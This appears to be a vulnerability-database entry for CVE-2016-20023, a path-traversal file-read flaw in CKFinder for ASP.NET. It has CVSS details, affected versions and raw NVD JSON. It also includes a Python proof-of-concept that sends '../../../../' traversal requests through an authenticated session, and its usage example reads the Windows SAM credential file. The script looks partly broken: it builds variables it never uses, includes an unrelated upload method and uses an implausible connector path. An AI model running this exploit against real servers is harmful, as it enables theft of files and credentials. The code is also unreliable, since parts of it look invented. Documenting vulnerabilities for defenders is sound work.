Security Vulnerability Report
中文
CVE-2016-20023 CVSS 5.0 MEDIUM

CVE-2016-20023

Published: 2025-12-05 06:16:04
Last Modified: 2025-12-17 16:09:11

Description

In CKSource CKFinder before 2.5.0.1 for ASP.NET, authenticated users could download any file from the server if the correct path to a file was provided.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:cksource:ckfinder:*:*:*:*:*:asp.net:*:* - VULNERABLE
CKSource CKFinder for ASP.NET < 2.5.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2016-20023 PoC - CKFinder Arbitrary File Read # Requires valid authenticated session import requests import sys target_url = "http://target.com/ckfinder/" # Authenticated session with valid CKFinder user credentials session = requests.Session() # session.auth = ('username', 'password') def read_arbitrary_file(filepath): """ Exploit CVE-2016-20023 to read arbitrary files filepath: relative or absolute path to file """ # Method 1: Using FileUpload command params = { 'command': 'QuickUpload', 'type': 'Files', 'fileName': 'test.txt' } # Method 2: Direct file path manipulation download_url = f"{target_url}ckfinder.html?type=Files&filePath=../../../../{filepath}" # Method 3: API-based file read api_url = f"{target_url}core/connector/aspp/ckfinder.asp?command=GetFile&fileName=../../../../{filepath}" print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {filepath}") try: response = session.get(api_url) if response.status_code == 200: print(f"[+] Success! File content:\n{response.text}") return response.text else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: read_arbitrary_file(sys.argv[1]) else: print("Usage: python cve-2016-20023.py <file_path>") print("Example: python cve-2016-20023.py windows/system32/config/sam")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2016-20023", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:03.720", "lastModified": "2025-12-17T16:09:10.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In CKSource CKFinder before 2.5.0.1 for ASP.NET, authenticated users could download any file from the server if the correct path to a file was provided."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cksource:ckfinder:*:*:*:*:*:asp.net:*:*", "versionEndExcluding": "2.5.0.1", "matchCriteriaId": "2CF90472-B57D-4D61-858A-861E786F0B70"}]}]}], "references": [{"url": "https://download.cksource.com/CKFinder/CKFinder%20for%20ASP.NET/2.5.0.1/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://ckeditor.com/ckfinder/release-notes/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Release Notes"]}]}}